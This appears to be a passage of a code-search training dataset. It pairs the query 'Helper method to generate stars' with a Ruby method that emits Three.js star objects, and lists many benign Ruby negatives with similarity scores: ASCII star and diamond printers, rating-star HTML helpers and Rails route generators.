"0.4884752",
"0.4877509",
"0.4876786",
"0.4869012",
"0.48626018",
"0.4861596",
"0.48595768",
"0.48584896",
"0.48567975",
"0.48563543"
] |
0.6889886
|
0
|
Helper method to generate stars
|
def gen_star(package_map)
text = "//#{package_map["name"]}
var #{package_map["indexed_name"]} = new Celestial({
name: \"#{package_map["indexed_name"]}\",
geometry: new THREE.SphereGeometry(#{package_map["radius"]+0.01}, 12, 12),
material: new THREE.MeshBasicMaterial({color: 0xffdd22, map: star_texture}),
light: new THREE.PointLight( 0xffddbb, 1, 0 ),
rotx: 0.01,
roty: 0.01,
rotz: 0.01});
celestials[celestials.length] = #{package_map["indexed_name"]};\n\n"
return text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build_stars(stars)\n i = 0\n j = 0\n star_line = ''\n open_star = 5 - stars\n while i < stars\n star_line += '<img src=\"app/assets/images/star-full.png\">'\n i+=1\n end\n while j < open_star\n star_line += '<img src=\"app/assets/images/star-gray.png\">'\n j+=1\n end\n return star_line.html_safe\n end",
"def star_pattern(stars_num)\n stars_num == 1 ? '*' : \"*#{' ' * (stars_num - 2)}*\"\nend",
"def buildStars stars\n toReturn =\"\"\n #some repos with aton of stars need resized\n resize = \"1 star = 1 stargazer\"\n if stars > 1000\n resize = \"1 star = 100 stargazers\"\n stars /= 100\n else\n if stars > 500\n resize = \"1 star = 10 stargazers\"\n stars /= 10\n else\n if stars > 100\n resize = \"1 star = 5 stargazers\"\n stars /= 5\n end\n end\n end\n for i in 0..stars-1\n if i % 5 == 4 #insert a space every five\n toReturn += \"<i class=\\\"fa fa-star\\\">  </i>\"\n else\n toReturn += \"<i class=\\\"fa fa-star\\\"></i>\"\n end\n end\n toReturn += \"<p>\" + resize + \"</p>\"\n toReturn.html_safe\n return toReturn\n end",
"def stars count\n\t\t\t\tstr = ''\n\t\t\t\tcount.times do\n\t\t\t\t\tstr += \"*\"\n\t\t\t\tend\n\t\t\t\tstr\n\t\t\tend",
"def star(num)\n stars = ['*','*','*']\n center = (num / 2) - 1\n lines = []\n\n # create array with mirrored lines using unshift and push\n 0.upto(center) do |i|\n spaces = ' ' * i\n offset = ' ' * (center - i)\n lines.unshift(offset + stars.join(spaces))\n lines.push(offset + stars.join(spaces))\n end\n\n # insert middle line of stars at middle of array\n lines.insert( num/2, ('*' * num).split.join)\nend",
"def stars\n puts \"*\" * 99\nend",
"def print_stars(num, width)\n stars = '*' + '*' * (num - 1) * 2\n puts \"#{stars}\".center(width)\nend",
"def draw_star(blank, stars, b)\n case b\n when true\n \" \" + \" \" * blank + \"\\033[32mF\\033[0m\" * stars + \"\\n\"\n when false\n \" \" + \" \" * blank + \"\\033[31m*\\033[0m\" * stars + \"\\n\";\n end\nend",
"def star(n)\n num_spaces = (n - 2) / 2\n arr = []\n until num_spaces < 0\n arr.push \"*#{' ' * num_spaces}*#{' ' * num_spaces}*\"\n num_spaces -= 1\n end \n arr += arr.reverse\n arr.insert(n / 2, \"*\" * n)\n arr.each { |x| puts x.center(n) }\nend",
"def star(num)\n return puts \"number should be odd and greater than 5\" if num.even? || num < 7\n lines = (num/2).times.with_object([]) do |idx, arr|\n arr << (['*'] * 3).join(' ' * idx).center(num)\n end\n puts lines.reverse, ('*' * num), lines\nend",
"def how_many_stars(size, line_count, stars)\n case\n when line_count == 1\n stars\n when line_count <= size / 2 + 1\n stars + '**'\n else\n stars[0..-3]\n end\nend",
"def diamond(num)\n stars = 1\n \n num.times do |iteration|\n puts ('*' * stars).center(num)\n iteration < num / 2 ? stars += 2 : stars -= 2\n end\nend",
"def line_of_30_stars\n puts \"* \" * 30\n end",
"def star\n end",
"def star(n)\n x = (n - 3)/2\n loop do\n puts \"*#{' ' * x}*#{' ' * x}*\".center(n)\n x -= 1\n break if x < 0\n end\n puts \"#{'*' * n}\"\n y = 0\n loop do\n puts \"*#{' ' * y}*#{' ' * y}*\".center(n)\n y += 1\n break if y > (n - 3) / 2\n end\nend",
"def render_star\n outputs.sprites << scale_up(grid.star).merge({ path: 'star.png' })\n end",
"def star; end",
"def three_star_line(inner_spaces, total_width)\n inner_stars = \"*\" + \" \"*inner_spaces + \"*\" + \" \"*inner_spaces + \"*\"\n inner_stars.center(total_width)\nend",
"def make_outline_row(width, stars)\n if stars == 1\n \"*\".center(width)\n else\n (\"*\" + (\" \" * (stars - 2)) + \"*\").center(width)\n end\nend",
"def diamond(size)\n stars = []\n 1.step(size, 2) { |count| stars << '*' * count }\n stars << stars.reverse[1..-1]\n\n size.times do |idx|\n puts \"#{stars.flatten[idx]}\".center(size)\n end\nend",
"def priority_star(count)\n foo = ''\n count.times { foo << '*'}\n return foo\n end",
"def draw_star(radius)\n points = 5\n triangle_base = radius * Math.tan(Math::PI / points)\n triangle = [\n [0, radius],\n [triangle_base / 2, 0],\n [-triangle_base / 2, 0],\n [0, radius]\n ]\n\n result = []\n (0...points).each do |i|\n result[i] = rotate(triangle, i * (2 * Math::PI / points))\n end\n\n result\nend",
"def star(n)\r\n padding_number = 0\r\n space_number = (n - 3) / 2\r\n \r\n 1.upto(n) do |row_number|\r\n central_row_number = (n / 2) + 1\r\n left_padding = ' ' * padding_number\r\n spaces = ' ' * space_number\r\n row = left_padding + (('*' + spaces) * 2) + '*'\r\n \r\n if row_number < central_row_number\r\n puts row\r\n next if row_number == central_row_number - 1\r\n padding_number += 1 \r\n space_number -= 1\r\n elsif row_number == central_row_number\r\n puts '*' * n\r\n else\r\n puts row\r\n padding_number -= 1\r\n space_number += 1\r\n end\r\n end\r\nend",
"def diamond(n)\n blanks = ' ' * ((n - 1) / 2)\n stars = '*'\n \n loop do\n puts blanks + stars\n break if blanks == ''\n stars << '**'\n blanks.slice!(0)\n end\n \n loop do\n break if stars == '*'\n stars.slice!(0..1)\n blanks << ' '\n puts blanks + stars\n end\n \nend",
"def render_star\n outputs.sprites << scale_up(state.star).merge({path: 'star.png'})\n outputs.sprites << move_and_scale_up(state.star).merge({path: 'star.png'})\n end",
"def draw_horizontal_stars(line, start_char, end_char)\n start_char.upto(end_char) { |char_idx| @lines[line][char_idx] = STAR_CHAR }\n end",
"def update\n @stars.each_with_index do |star, index|\n if star.sx == 0\n star.set_position(rand(320), rand(240))\n end\n star.update if (index * 10) <= @counter\n end\n @counter += 1\n end",
"def star(num)\n star_number = 3\n star = '*'\n space = ' '\n counter = (num - star_number) / 2\n iterations = num / 2\n\n # upper triangle\n iterations.times do |i|\n line = \"#{space * i}#{star}#{space * counter}#{star}#{space * counter}#{star}\"\n puts line\n counter -= 1\n end\n\n # mid\n puts star * num\n\n # lower triangle\n counter = (num - star_number) / 2\n iterations.times do |i|\n line = \"#{space * counter}#{star}#{space * i}#{star}#{space * i}#{star}\"\n puts line\n counter -= 1\n end\nend",
"def rating_stars(rateable, filled, empty)\n if rateable.total_ratings > 0\n return stars(rateable, :filled_star => image_tag(filled), :empty_star => image_tag(empty)) do |content,rating,filled|\n link_to content, member_rate_path(:type => rateable.class.name, :id => rateable.id, :rate => rating), :id => \"rating-link-#{rating}\"\n end\n else\n return [1,2,3,4,5].collect{|i|\n link_to image_tag(empty), member_rate_path(:type => rateable.class.name, :id => rateable.id, :rate => i), :id => \"rating-link-#{i}\"\n }\n end\n end",
"def circle(n)\r\n lines = []\r\n half_grid = n / 2\r\n top_stars = half_grid.even? ? half_grid - 1 : half_grid\r\n\r\n spaces_between_stars = top_stars\r\n loop do\r\n lines << ('*' +\r\n ' ' * spaces_between_stars +\r\n '*').center(n)\r\n\r\n spaces_between_stars += 2\r\n break if spaces_between_stars == n - 2\r\n end\r\n\r\n top_bottom = ('*' * top_stars).center(n)\r\n\r\n puts top_bottom\r\n puts lines\r\n (top_stars).times do\r\n puts ('*' + ' ' * (n - 2) + '*').center(n)\r\n end\r\n puts lines.reverse\r\n puts top_bottom\r\nend",
"def diamond(integer)\n spaces = (1..integer).step(2).to_a\n space_line = spaces.reverse\n spaces.shift\n space_line += spaces\n space_line.map! {|num| num / 2}\n\n stars = (1..integer).step(2).to_a\n star_line = stars.reverse\n star_line.shift\n star_line = stars + star_line\n\n counter = 0\n star_line.each do |element|\n line = (\"*\" * element)\n spaces = line.length + space_line[counter]\n full_line = line.rjust(spaces) + (\" \" * space_line[counter])\n puts full_line\n counter += 1\n end\nend",
"def blank_stars(rating)\n 5 - rating\n end",
"def triangle(num)\n star_count = 0\n while star_count < num\n star_count += 1\n stars = \"*\" * star_count\n puts stars.rjust(num)\n end\nend",
"def draw_braches(lines, indent, stars = 1)\n while indent >= 0 do\n lines << (' ' * indent) + ('*' * stars)\n indent -= 1\n stars += 2\n end\n end",
"def star(n)\n outer = 0\n inner = (n-3) / 2\n\n loop do # create top\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if inner == 0\n outer += 1\n inner -= 1\n end\n\n puts \"*\" * n\n\n loop do # create bottom\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if outer == 0\n outer -= 1\n inner += 1\n end\n puts \"\"\nend",
"def diamond(num)\n spaces = (num - 1) / 2\n stars = 1\n\n loop do\n puts \" \"*spaces + \"*\"*stars + \" \"*spaces\n break if stars == num\n spaces -= 1\n stars += 2\n end\n\n unless stars == 1\n loop do\n stars -= 2\n spaces += 1\n puts \" \"*spaces + \"*\"*stars + \" \"*spaces\n break if stars == 1\n end\n end\nend",
"def diamond(num)\n count = 1\n stars = 1\n spaces = 1\n \n loop do\n \n puts (' ' * (num - spaces)) + ('*' * stars)\n break if count == num\n \n if count <= (num / 2)\n stars += 2\n spaces +=1\n else\n stars -= 2\n spaces -= 1\n end\n \n count += 1\n end\nend",
"def triangle(num)\n count = 1\n while count <= num do\n stars = \"*\" * count\n puts \"#{(stars.rjust(num))}\"\n count += 1\n end\nend",
"def triangle(num)\n stars = []\n spaces = ''\n number_of_stars = (3..num).to_a.reverse\n current_num = num\n\n loop do\n spaces += ' '\n stars << spaces + (\"*\" * current_num)\n break if current_num == 1\n current_num -= 2\n end\n\n stars.reverse\nend",
"def blank_stars\n 5 - rating\n end",
"def towerBuilder(n)\n (0...n).map do |i|\n space = ' ' * (n - i)\n stars = '*' * (i * 2 + 1)\n space + stars + space\n end\nend",
"def firm_star star\n star.to_i == 0 ? 0 : 15 * star.to_i\n end",
"def program_rating_str(program)\n half_stars = program.rating ? (program.rating * 2.199).floor : 0\n full_stars = half_stars / 2\n # logger.debug(\"program #{program.id} rating #{program.rating} full #{full_stars} half #{half_stars}\")\n outstr = raw(content_tag(:i, '', class: [\"fas\", \"fa-star\"]) * full_stars)\n outstr += raw(content_tag(:i, '', class: [\"fas\", \"fa-star-half\"])) if half_stars.odd?\n return outstr\n end",
"def star (points, length)\n raise \"The star must have an odd number of points\" if points % 2 == 0\n points.times do\n line length\n turn (720.0/points).degrees\n end\n end",
"def diamond(number)\n \n empty_space = \" \" \n star = \"*\"\n \n counter_star = 1 \n counter_space = number/2\n until counter_star == number \n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star += 2\n counter_space -= 1 \n end\n \n \n while counter_star >= 1\n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star -= 2\n counter_space += 1\n end\n \nend",
"def rating_stars(rating, max, options = {})\n Array.new(max) do |counter|\n content_tag(\n 'label',\n '',\n class: \"rating#{' bright' if rating.to_f > counter}\",\n **options\n )\n end.join.html_safe\n end",
"def print_row(grid_size, distance_from_edge)\n number_of_stars = 1 + distance_from_edge * 2\n stars = \"*\" * number_of_stars\n puts stars.center(grid_size)\nend",
"def diamond(size)\n stars = 1\n # top half\n loop do\n ((size/2 + 1) - stars).times { print \" \" }\n (stars*2 - 1).times { print \"*\" }\n puts \"\"\n break if stars >= size/2\n stars += 1\n end\n return if size == 1\n # middle\n size.times { print \"*\" }\n puts \"\"\n # bottom half\n loop do\n ((size/2 + 1) - stars).times { print \" \" }\n (stars*2 - 1).times { print \"*\" }\n puts \"\"\n break if stars == 1\n stars -= 1\n end\nend",
"def addStars(num)\n self.stars += num\n end",
"def star(pattern, that, topic, type, index)\n input = pattern.to_s.upcase\n input = input.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n # Normalize 'that' \n formatted_that = that.to_s.upcase\n formatted_that = formatted_that.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n # Normalize 'topic'\n formatted_topic = topic.to_s.upcase\n formatted_topic = formatted_topic.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n match, template = recursive_match input.split(\" \"), formatted_that.split(\" \"), formatted_topic.split(\" \"), @nodemap\n\n return \"\" if template == nil\n\n\n # Find appropriate pattern based on the star type.\n words = nil\n if type == 'star'\n #match = match[0..match.index(THAT)]\n words = input.split(\" \")\n \n elsif type == 'thatstar'\n match = match[(match.index(THAT)+1)..match.index(STAR)]\n words = that.split(\" \")\n \n elsif type == 'topicstar'\n match = match[(match.index(TOPIC)+1)..-1]\n words = topic.split(\" \")\n \n else\n raise \"Star Type must be in ['star', 'thatstar', 'topicstar']\"\n end\n \n # compare the input string to the matched pattern, word by word.\n # At the end of this loop, if found_star is true, start and\n # end will contain the start and end indices (in \"words\") of\n # the substring that the desired star matched.\n \n found_star = false\n start = last = j = num_stars = k = 0\n \n for i in (0...words.count)\n # This condition is true after processing a star\n # that ISN'T the one we're looking for.\n next if i < k\n\n # If we're reached the end of the pattern, we're done.\n break if j == match.count\n\n if not found_star\n if [STAR, UNDERSCORE].include?(match[j]) #we got a star\n num_stars += 1\n \n # This is the star we care about.\n found_star = true if num_stars == index\n \n # Iterate through the rest of the string.\n start = i\n for k in (i...words.count)\n # If the star is at the end of the pattern,\n # we know exactly where it ends.\n if j+1 == match.count\n last = words.count\n break\n end\n # If the words have started matching the\n # pattern again, the star has ended.\n if match[j+1] == words[k]\n last = k - 1\n i = k\n break\n end\n end\n end\n # If we just finished processing the star we cared\n # about, we exit the loop early.\n break if found_star\n end\n # Move to the next element of the pattern.\n j += 1\n end\n \n # extract the star words from the original, unmutilated input.\n if found_star\n if type == 'star'\n response = pattern.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n \n elsif type == 'thatstar'\n response = that.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n\n elsif type == 'topicstar'\n response = topic.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n end\n else \n return \"\"\n end\n end",
"def draw_lines(lines, stars)\n def draw_line(size)\n puts '*' * size\n puts ' '\n end\n lines.times do\n draw_line(stars)\n end\nend",
"def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend",
"def print_horizontal_pyramid(height)\n\n (1..height).each do |i|\n spaces = height - i\n stars = (2 * i) - 1\n\n spaces.times { print \" \"}\n stars.times { print \"*\"}\n spaces.times { print \" \"}\n print \"\\n\"\nend\nend",
"def row(num_space, num_star)\n space = ' ' * num_space\n star = '*' * num_star\n arr = [space, star, space]\n puts arr.join\nend",
"def render_stars (object_to_star, read_only = false, rate = nil)\n# field_set_tag nil, :class=> \"stars\" do\n if object_to_star then\n rating = object_to_star.average_rating||0\n else\n rating = rate\n end\n# (1..10).map do |i|\n [0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5].map do |i|\n# if object_to_rate.average_rating\n if ((rating*2).round)/2.to_f == i\n radio_button_tag \"rating\", i, true, :disabled => read_only\n else\n radio_button_tag \"rating\", i, false, :disabled => read_only\n end\n# end\n end.join.html_safe\n# end\n end",
"def asterisk(list)\n list.each do |item|\n puts \"*\" + \"#{item}\"\n end\nend",
"def strip_stars text\n text = text.gsub %r%Document-method:\\s+[\\w:.#]+%, ''\n text.sub! %r%/\\*+% do \" \" * $&.length end\n text.sub! %r%\\*+/% do \" \" * $&.length end\n text.gsub! %r%^[ \\t]*\\*%m do \" \" * $&.length end\n text\n end",
"def update_starfield\n\n # We should always have roughly the same star density, but let's not\n # spawn them *all* at ones\n if @stars.length < 250\n\n # So, spawn up to a few of them\n 10.randomize(:ratio).to_i.times do\n @stars << {\n x: @args.grid.center_x, y: @args.grid.center_y,\n dx: 5.randomize(:ratio, :sign), dy: 5.randomize(:ratio, :sign),\n age: 0, show: 25.randomize(:ratio),\n r: 100 + 155.randomize(:ratio), g: 100 + 155.randomize(:ratio), b: 100 + 155.randomize(:ratio)\n }\n end\n\n end\n\n # And then work through all stars applying the delta\n @stars.each do |star|\n star[:x] += star[:dx]\n star[:y] += star[:dy]\n end\n\n # And prune any that fall off the screen\n @stars.delete_if do |star|\n star[:x].negative? || star[:x] > @args.grid.w || star[:y].negative? || star[:y] > @args.grid.h\n end\n\n end",
"def stars_as_percent\n (stars / 5.0) * 100.0\n end",
"def indesign_review_stars( article )\n if article.review? && (article.review_rating.to_i > 0)\n text = \"<ParaStyle:Reviews\\\\:Review Rating>\"\n text << (0..article.review_rating.to_i-1).collect{|n| \"r\"}.join\n return text.html_safe\n else\n return \"\"\n end\n end",
"def triangle(integer)\n stars = 1\n integer.times do \n puts \" \" * (integer - stars) + (\"*\" * stars)\n stars += 1\n end\nend",
"def get_rating_icons(planned_trip)\n if planned_trip.in_the_future\n return \"\"\n end\n rating = planned_trip.rating\n html = \"<span>\"\n for i in 1..5\n if i <= rating\n html << \"<i class='icon icon-star'></i>\"\n else\n html << \"<i class='icon icon-star-empty'></i>\"\n end\n end\n html << \"<span>\"\n return html.html_safe\n end",
"def rating\n rand(40..140).to_s\n end",
"def set_rows(grid, distance)\n number_of_stars = grid - (distance * 2)\n stars = '*' * number_of_stars\n puts stars.center(grid)\nend",
"def diamond(i) # I hope I didn't name my variables\n spaces_toggle = -1 # the same as the instruction\n spaces = i/2 # This is MY algorithm !\n bling_toggle = 1\n bling = 1\n (i).times do\n spaces.times {print \" \"} \n bling.times {print \"*\"}\n spaces.times {print \" \"} \n print \"\\n\"\n spaces += 1 * spaces_toggle\n bling += 2 * bling_toggle\n if bling == i # Center of function\n bling.times {print \"*\"}\n print \"\\n\"\n spaces += 1\n bling -= 2\n spaces_toggle = 1\n bling_toggle = -1\n end\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\n\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n\n num.times do |n|\n puts (' ' * spaces) + ('*' * stars)\n spaces -= 1\n stars += 1\n end\nend",
"def asterisks_for(an_integer)\n an_integer > 2 ? '*' * (an_integer / 5.0).round : '-'\nend",
"def star_counter(arr_of_arrys)\n counter_arr = []\n arr_of_arrys.each do |array|\n num_of_stars = 0\n array.each do |value|\n num_of_stars += 1 if value == \"*\"\n end\n counter_arr << num_of_stars\n end\n return counter_arr\nend",
"def asterisk_print(array)\n array.each do |item|\n p item\n p \"*\"\n end\nend",
"def print_row(grid_size, distance_from_center)\n number_of_stars = grid_size - 2 * distance_from_center\n stars = '*' * number_of_stars\n puts stars.center(grid_size)\nend",
"def add_star\n @@number_of_stars += 1\n puts \"Afer adding one, Exoplanet class variable number_of_stars has value #@@number_of_stars\"\n end",
"def add_star\n @@number_of_stars += 1\n puts \"Afer adding one, Exoplanet class variable number_of_stars has value #@@number_of_stars\"\n end",
"def print_horizontal_pyramid(height)\n n = 1\n h = height\n (1..height).each do |i|\n space = \" \"\n star = \"*\"\n print space * h + star * n\n n = n+2\n h = h-1\n print \"\\n\"\n end\nend",
"def seperator\n puts \"*\"*49\n end",
"def christmas_tree(height)\n base_number = 2 * height - 1\n tree = []\n height.times do |i|\n nb_stars = (base_number - (2 * i))\n stars = '*' * nb_stars\n spaces = ' ' * ((base_number - nb_stars) / 2)\n if stars.size == 1\n tree.push(spaces + stars + spaces)\n else\n tree.push(\"\\n\" + spaces + stars + spaces)\n end\n end\n tree.reverse.join\nend",
"def diamond(length)\n diamonds = (1..length).select { |num| num.odd? }\n shape_array = []\n spaces = length / 2\n length.times do |num|\n index = length / 2 - spaces.abs\n shape_array << \"#{' ' * spaces.abs}#{'*' * diamonds[index]}\"\n spaces -= 1\n end\n shape_array\nend",
"def draw_vertical_stars(start_hash_line, end_hash_line, start_hash_char)\n start_hash_line.upto(end_hash_line) do |line_idx|\n @lines[line_idx][start_hash_char] = STAR_CHAR\n end\n end",
"def triangle(int)\n star_chars = '*'\n int.times do\n puts star_chars.rjust(int, ' ')\n star_chars << '*'\n end\nend",
"def strip_stars text\n return text unless text =~ %r%/\\*.*\\*/%m\n\n encoding = text.encoding\n\n text = text.gsub %r%Document-method:\\s+[\\w:.#=!?|^&<>~+\\-/*\\%@`\\[\\]]+%, ''\n\n space = ' '\n space = RDoc::Encoding.change_encoding space, encoding if encoding\n\n text.sub! %r%/\\*+% do space * $&.length end\n text.sub! %r%\\*+/% do space * $&.length end\n text.gsub! %r%^[ \\t]*\\*%m do space * $&.length end\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, encoding if encoding\n text.gsub(/^\\s+$/, empty)\n end",
"def draw_sample\n \t\" #{@sample[:space_1]} | #{@sample[:space_2]} | #{@sample[:space_3]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_4]} | #{@sample[:space_5]} | #{@sample[:space_6]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_7]} | #{@sample[:space_8]} | #{@sample[:space_9]}\\n\" +\n \t\t\t\t\t\t \" | | \\n\\n\"\n\n end",
"def diamond(num)\n puts \"this is a #{num} diamond!\\n\\n\"\n star_count = 1\n half_point = (num.to_f/2).floor\n 0.upto(num-1) {|n|\n if n < half_point \n puts \"#{' ' * (half_point - n)}#{'*' * star_count}\"\n star_count += 2\n elsif n == half_point\n puts \"#{'*' * star_count}\"\n star_count -= 2\n elsif n > half_point\n puts \"#{' ' * (n - half_point)}#{'*' * star_count}\"\n star_count -= 2\n end\n }\n \n \" \"\nend",
"def generate()\n\t\t# first generate at least one star\n\t\t\n\t\tcx = centerX\n\t\tcy = centerY\n\t\tstarPos = randomLocation(cx, cy, SolarSystemRadius)\n\t\tstar = generateNewCelestialBody(starPos[0], starPos[1], 'star')\n\t\t\n\t\t# possibly another star\n\t\tif rand < ProbabilitySecondStar\n\t\t\tstarPos2 = randomDistantPosition\n\t\t\tstar2 = generateNewCelestialBody(starPos2[0], starPos2[1], 'star')\n\t\tend\n\t\t\n\t\tnumPlanets = Random.rand(MedianNumPlanets-NumPlanetsVariation...MedianNumPlanets+NumPlanetsVariation)\n\t\tnumPlanets.times do\n\t\t\tplanetPos = randomDistantPosition\n\t\t\tplanet = generateNewCelestialBody(planetPos[0], planetPos[1], 'planet')\n\t\tend\n\tend",
"def generate_tweets(hashtag, how_many)\n total_stars = 0\n how_many.times do\n stars = rand(5)+1\n total_stars += stars\n Tweet.create(\n user_handle: Faker::Lorem.words(2).join('_'),\n user_display: Faker::Name.name,\n feedback: Faker::Lorem.sentences(2).join << \" #{stars}star #doha ##{hashtag} #dmkr\",\n rating: stars,\n event_hashtag: 'doha',\n participant_hashtag: \"#{hashtag}\",\n timestamp: rand(24.hours).ago\n )\n end\n total_stars\nend",
"def find_rated_with(stars)\n find_statement(:stars, stars)\n end",
"def rating; \"Д/379 (stub)\"; end",
"def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend",
"def display_upper_semi_diamond(n)\n left_outline = n / 2\n right_outline = left_outline\n\n (n / 2).times do\n row = ' ' * n\n row[left_outline] = '*'\n row[right_outline] = '*'\n\n puts row\n left_outline -= 1\n right_outline += 1\n end\nend",
"def tower_builder(n_floors)\n (1..n_floors).map do |i|\n spaces = ' ' * (n_floors - i)\n stars = '*' * ((i * 2) - 1)\n spaces + stars + spaces\n end\nend",
"def update\n @stars.each_with_index do |star, index|\n star.update if @anim_counter > (index * 10)\n end\n @anim_counter += 1\n end",
"def star_bars(array_of_integers)\n # TODO\nend",
"def stars\n repositories.map do |r|\n octokit.repository(r)['stargazers_count']\n end.inject(&:+)\n end",
"def hollow_diamond(int)\n spaces = 1\n puts '*'.center(int)\n \n 1.upto(int - 4) do |line|\n puts ('*' + ' ' * spaces + '*').center(int)\n line > (int / 2 - 2) ? spaces -= 2 : spaces += 2\n end\n \n puts '*'.center(int)\nend",
"def rating_css(rating)\n if rating>9\n \"ruby\"\n elsif rating>7.5\n \"gold\"\n elsif rating>6\n \"silver\"\n else\n \"bronze\"\n end\nend",
"def star\n set_starred_state(true)\n end",
"def generate_noise_gif_for_char(char)\n image = @reference_image_hash[char]\n\n #image = image.wave(10, 100)\n image = image.add_noise(Magick::PoissonNoise)\n #image = image.rotate(5)\n #image = image.resize_to_fit(@config.char_width, @config.char_height)\n\n image\n end",
"def get_star_color(id)\n colors = {:red => [255, 0, 0], :green => [0, 192, 0], :blue => [0, 0, 255], :yellow => [255, 255, 0], :purple => [102, 0, 102]}\n (NUM_STARS-5).times {|i| colors[\"color#{i}\"] = [rand(256), rand(256), rand(256)]}\n @ids_to_colors ||= {}\n @ids_to_colors[id] ||= colors[colors.keys[@ids_to_colors.size]]\n return @ids_to_colors[id]\n end",
"def asterisks(text)\n asterisks = text.split.map do |word|\n if word.include?(\"**\")\n word.sub!(\"**\",\"<strong>\")\n word.sub!(\"**\",\"</strong>\")\n word\n elsif word.include?(\"*\")\n word.sub!(\"*\",\"<em>\")\n word.sub!(\"*\",\"</em>\")\n word\n else\t\n word\n end\n end \n asterisks.join(\" \")\n end",
"def add_astericx (g)\n g.each do |x| puts \"*#{x}\"\n end\nend",
"def triangle(num)\n spaces = num - 1\n stars = 1\n \n loop do\n puts \" \"*spaces + \"*\"*stars\n break if stars == num\n spaces -= 1\n stars += 1\n end\nend"
] |
[
"0.80316055",
"0.7824943",
"0.7594706",
"0.7432636",
"0.73946357",
"0.7387228",
"0.7307596",
"0.71014863",
"0.70582634",
"0.7028462",
"0.7024535",
"0.6983929",
"0.6947171",
"0.68606913",
"0.68508214",
"0.67546475",
"0.6678335",
"0.65851605",
"0.656783",
"0.6563828",
"0.6553691",
"0.65442073",
"0.65163547",
"0.64911824",
"0.6449959",
"0.6441108",
"0.6434587",
"0.64144206",
"0.6396449",
"0.6389037",
"0.6352209",
"0.6343344",
"0.6340888",
"0.6324299",
"0.63171244",
"0.63074934",
"0.6296643",
"0.6292298",
"0.6290685",
"0.6268703",
"0.6253601",
"0.6252628",
"0.62338525",
"0.6178713",
"0.6139619",
"0.6113965",
"0.60905516",
"0.6080629",
"0.6078472",
"0.6058214",
"0.6055061",
"0.6054759",
"0.60527515",
"0.60373855",
"0.60347635",
"0.6033783",
"0.6029164",
"0.6020695",
"0.60002905",
"0.59927255",
"0.5936323",
"0.5918605",
"0.5916077",
"0.5894966",
"0.589108",
"0.58764243",
"0.5855777",
"0.5844797",
"0.5837423",
"0.58094275",
"0.5808959",
"0.58078635",
"0.58078635",
"0.5767611",
"0.57633936",
"0.57475483",
"0.5733982",
"0.57255775",
"0.5716096",
"0.5701858",
"0.5694497",
"0.5692038",
"0.5689888",
"0.5681617",
"0.5678521",
"0.5652512",
"0.5646222",
"0.56387717",
"0.56093705",
"0.5583605",
"0.55785996",
"0.55759794",
"0.5560328",
"0.55246943",
"0.5523118",
"0.55131346",
"0.5503273",
"0.5495443",
"0.5480621",
"0.5476899"
] |
0.58701074
|
66
|
Helper method to generate routes
|
def gen_route(dep_map)
text = "// Dependency Route: #{dep_map["class_indexed_name"]} -> #{dep_map["dclass_indexed_name"]}\n"
temp = 0
eta = 100
if(dep_map["strength"].nil?)
dep_map["strength"] = DEFAULT_SHIPS
end
while(temp < dep_map["strength"])
text += "var #{dep_map["indexed_name"]}_#{temp} = new Ship({
name: \"#{dep_map["indexed_name"]}_#{temp}\",
material: new THREE.SpriteMaterial({map: trade_texture, color: 0xffffff, fog: true}),
origin: #{dep_map["class_indexed_name"]}.mesh,
target: #{dep_map["dclass_indexed_name"]},
offset: #{eta*temp/dep_map["strength"]},
eta: #{eta},
loop: true});
#{dep_map["class_indexed_name"]}.trade[#{dep_map["class_indexed_name"]}.trade.length] = #{dep_map["indexed_name"]}_#{temp};
#{dep_map["indexed_name"]}_#{temp}.spr.scale.set(2,2,1);\n\n"
temp += 1
end
return text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def _routes; end",
"def routes(context={})\n \n routes = [ \n ]\n \n end",
"def routes(context={})\n \n routes = [ \n ]\n \n end",
"def anchored_routes; end",
"def generate_routes m\n # routes\n unless command_has_resources\n # add routes like unnested scaffold \n # eg. map.resources books\n m.route_resources controller_file_name\n else\n resource_list = controller_file_name.map { |r| r.to_sym.inspect }.join(', ')\n parent_resource = parent_resource_name\n \n path = destination_path('config/routes.rb')\n content = File.read(path)\n \n logger.route \"resources #{resource_list}\"\n \n # map.resources :parents do |parent|\n # parent.resources :parents do |parent|\n sentinel = \"\\.resources(.*)?:#{parent_resource.pluralize}(.*)do(.*)\\\\|#{parent_resource}\\\\|\"\n \n if content =~ /#{sentinel}/\n gsub_file 'config/routes.rb', sentinel do |match|\n \"#{match}\\n #{parent_resource}.resources :#{table_name}\"\n end\n else\n # without do block\n # map.resources :parents \n # parent.resources :parents\n sentinel = \"\\.resources(.*):#{parent_resource.pluralize}\"\n if content =~ /#{sentinel}/\n gsub_file 'config/routes.rb', sentinel do |match|\n \"#{match} do 